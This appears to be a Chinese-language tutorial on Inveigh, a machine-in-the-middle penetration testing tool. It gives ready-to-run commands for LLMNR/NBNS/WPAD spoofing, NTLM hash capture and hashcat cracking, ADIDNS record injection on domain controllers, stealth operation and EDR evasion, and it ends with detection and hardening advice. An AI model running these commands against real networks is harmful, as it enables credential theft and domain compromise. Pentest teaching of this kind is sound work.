Inveigh:终极中间人攻击测试工具从入门到实战
【免费下载链接】Inveigh.NET IPv4/IPv6 machine-in-the-middle tool for penetration testers项目地址: https://gitcode.com/gh_mirrors/in/Inveigh
法律合规声明
⚠️重要法律提示:本工具仅用于授权环境下的安全测试。未经授权使用可能违反《中华人民共和国网络安全法》及相关法律法规,使用者需自行承担法律责任。建议在独立隔离的测试环境中操作,并获得书面授权。
一、功能解析:Inveigh核心能力与技术原理
Inveigh是一款由Kevin Robertson开发的跨平台.NET工具,专为渗透测试设计,专注于IPv4/IPv6环境下的中间人(MitM)攻击。作为安全从业者必备的渗透测试工具,它能够通过欺骗协议响应和捕获认证凭证,帮助安全人员评估网络防御体系的有效性。
1.1 核心功能模块
| 功能类别 | 关键组件 | 作用说明 |
|---|---|---|
| 协议欺骗 | LLMNR/NBNS/mDNS/DNS Spoofer | 响应局域网内名称解析请求,将目标流量重定向至攻击机 |
| 凭证捕获 | SMB/HTTP/HTTPS/Proxy Listener | 模拟服务端捕获NTLMv1/NTLMv2挑战响应、Basic认证明文及Kerberos TGT票据 |
| 主动攻击 | NBNS Brute Force Spoofer | 主动探测网络内主机,强制触发名称解析请求 |
| 流量分析 | Packet Sniffer | 捕获并解析TCP/UDP流量,支持PCAP文件导出 |
| AD集成 | ADIDNS Spoofer | 利用Active Directory DNS漏洞注入恶意记录,实现持久化欺骗 |
1.2 中间人攻击技术原理
Inveigh的核心攻击流程基于名称解析欺骗与认证拦截:
- 欺骗阶段:通过响应LLMNR(5355/UDP)、NBNS(137/UDP)、mDNS(5353/UDP)等协议的名称解析请求,将目标主机的流量重定向至攻击机。
- 拦截阶段:在攻击机上启动SMB(445/TCP)、HTTP(80/TCP)等服务,诱导目标发送认证请求。
- 捕获阶段:提取NTLM挑战响应哈希(支持NTLMv1/NTLMv2)或Kerberos票据,可用于离线破解或票据传递攻击。
二、环境准备:快速部署与依赖配置
2.1 系统要求
- 操作系统:Windows PowerShell 5.1 或 PowerShell Core 7.0+
- 权限要求:管理员权限(需创建HTTPS证书、修改系统网络配置)
- 依赖框架:.NET Framework 4.5+ 或 .NET Core 3.1+
2.2 安装步骤
# 1. 克隆仓库 git clone https://gitcode.com/gh_mirrors/in/Inveigh cd Inveigh # 2. 加载模块 Import-Module .\Inveigh.psd1 # 3. 验证安装 Invoke-Inveigh -ShowHelp2.3 常见环境问题解决
| 错误场景 | 解决方案 |
|---|---|
| 端口占用(如53/80/445) | 停止占用服务:net stop dnscache或修改监听端口-HTTPPort 8080 |
| PowerShell执行权限不足 | 执行Set-ExecutionPolicy Bypass -Scope Process |
| HTTPS证书创建失败 | 使用-HTTPSForceCertDelete Y强制删除冲突证书 |
三、实战操作:从基础配置到高级攻击
3.1 参数配置指南
Inveigh通过命令行参数控制行为,核心参数速查表:
| 参数类别 | 常用参数组合 | 功能描述 |
|---|---|---|
| 基础模式 | -LLMNR Y -NBNS Y -HTTP Y -SMB Y | 启用LLMNR/NBNS欺骗及HTTP/SMB捕获 |
| 输出控制 | -ConsoleOutput Y -FileOutput Y -FileOutputDirectory C:\Logs | 启用控制台输出并保存日志到指定目录 |
| 目标过滤 | -SpooferIPsReply 192.168.1.0/24 -SpooferHostsReply wpad,dc01 | 仅响应特定IP范围或主机名的请求 |
| 高级欺骗 | -ADIDNS Combo -ADIDNSDomainController dc01.corp.com | 启用ADIDNS组合攻击,针对域控制器注入DNS记录 |
3.2 预设攻击模板
模板1:基础凭证捕获(适用于大多数内网环境)
Invoke-Inveigh -IP 192.168.1.100 ` -LLMNR Y -NBNS Y -HTTP Y -SMB Y ` -ConsoleOutput Y -FileOutput Y ` -FileOutputDirectory C:\InveighLogs风险等级:中
说明:同时启用LLMNR/NBNS欺骗和HTTP/SMB捕获,适合快速收集内网主机凭证。
模板2:AD环境下的DNS欺骗攻击
Invoke-Inveigh -IP 192.168.1.100 ` -ADIDNS Combo ` -ADIDNSDomainController dc01.corp.com ` -ADIDNSDomain corp.com ` -ADIDNSZone corp.com ` -SpooferIP 192.168.1.100风险等级:高
说明:利用ADIDNS漏洞注入恶意记录,影响整个域环境的名称解析。
模板3:隐蔽模式(降低检测概率)
Invoke-Inveigh -IP 192.168.1.100 ` -SpooferRepeat N ` -WPADAuth Anonymous ` -SpooferHostsReply wpad ` -ConsoleOutput Low风险等级:低
说明:仅响应WPAD请求,减少输出信息,适合长期隐蔽监控。
3.3 典型攻击场景演示
场景1:内网横向移动中的凭证捕获
目标:获取网段内主机的NTLM哈希,用于Pass-the-Hash攻击。
步骤:
- 在攻击机执行基础模板命令,等待目标主机发起名称解析请求(如访问不存在的UNC路径)。
- 捕获到NTLMv2哈希后,使用Hashcat破解:
hashcat -m 5600 hash.txt rockyou.txt - 使用获取的凭证通过SMB登录目标主机:
Invoke-Command -ComputerName target -Credential (Get-Credential)
场景2:利用WPAD自动代理实现全流量劫持
目标:诱导浏览器通过攻击机代理,捕获明文凭证。
步骤:
- 执行命令启用WPAD响应:
Invoke-Inveigh -IP 192.168.1.100 -Proxy Y -WPADIP 192.168.1.100 -WPADPort 8080 - 目标主机通过DHCP获取WPAD配置后,浏览器流量将经过攻击机。
- 攻击机通过
-ProxyAuth NTLM捕获域用户凭证。
场景3:ADIDNS攻击持久化控制域内DNS
目标:注入恶意DNS记录,长期控制域内名称解析。
步骤:
- 利用域管理员权限执行ADIDNS注入:
Invoke-Inveigh -ADIDNS Wildcard -ADIDNSDomainController dc01.corp.com - 所有未解析的域名请求将指向攻击机,可用于定向钓鱼或持续监听。
四、进阶技巧:防御绕过与工具对比
4.1 防御绕过技巧
技巧1:规避ResponderGuard检测
部分EDR工具通过检测单播LLMNR/NBNS请求识别欺骗攻击,可通过以下参数绕过:
Invoke-Inveigh -EvadeRG Y # 忽略直接发送给攻击机IP的请求技巧2:动态调整欺骗阈值
通过-SpooferThresholdHost和-SpooferThresholdNetwork参数,仅在多次请求后响应,降低检测概率:
Invoke-Inveigh -SpooferThresholdHost 3 -SpooferThresholdNetwork 2技巧3:清理ADIDNS记录
使用-ADIDNSCleanup Y确保测试结束后自动移除注入的DNS记录,避免留下痕迹。
4.2 同类工具对比
| 特性 | Inveigh | Responder | Ettercap |
|---|---|---|---|
| 开发语言 | C#/PowerShell | Python | C |
| 协议支持 | LLMNR/NBNS/mDNS/DNS/ADIDNS | LLMNR/NBNS/mDNS/DNS | ARP欺骗/ICMP重定向 |
| 凭证类型 | NTLMv1/NTLMv2/Kerberos/Basic | NTLMv1/NTLMv2/Basic | 用户名/密码(依赖插件) |
| 跨平台 | Windows为主 | Linux/Windows | Linux为主 |
| AD集成 | 支持ADIDNS注入 | 无 | 无 |
结论:Inveigh在Windows域环境中表现更优,尤其适合ADIDNS攻击和Kerberos票据捕获;Responder跨平台性更好;Ettercap更适合底层流量篡改。
4.3 .NET版本兼容性处理
- 问题:在.NET Core环境下可能出现Socket权限错误。
- 解决:强制使用.NET Framework运行:
powershell -Version 5.1 -Command "Import-Module .\Inveigh.psd1; Invoke-Inveigh"
五、安全防护:检测与防御措施
5.1 检测方法
- 网络流量监控:通过Wireshark过滤
udp.port in {137, 5353, 5355},检测异常的名称解析响应。 - 日志分析:检查域控制器DNS日志(事件ID 5100)中的异常记录。
- EDR告警:启用终端防护软件对LLMNR/NBNS欺骗行为的检测规则。
5.2 防御建议
- 禁用不必要协议:组策略禁用LLMNR和NBT-NS:
计算机配置 > 管理模板 > 网络 > DNS客户端 > 关闭多播名称解析 - 启用SMB签名:强制所有SMB通信使用签名,防止中继攻击。
- WPAD安全配置:删除DHCP中的WPAD选项,禁止自动检测代理。
- 网络隔离:通过VLAN和ACL限制广播域范围,减少欺骗影响。
六、总结
Inveigh作为一款专注于中间人攻击的渗透测试工具,凭借对Windows域环境的深度支持和丰富的协议欺骗能力,成为内网渗透的关键武器。安全从业者需在授权环境下合理使用,同时企业应通过技术防御与安全意识培训构建多层次防护体系,抵御此类攻击。
掌握Inveigh的使用不仅能提升渗透测试效率,更能帮助安全团队理解中间人攻击的原理与防御要点,为网络安全加固提供实践依据。
【免费下载链接】Inveigh.NET IPv4/IPv6 machine-in-the-middle tool for penetration testers项目地址: https://gitcode.com/gh_mirrors/in/Inveigh
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考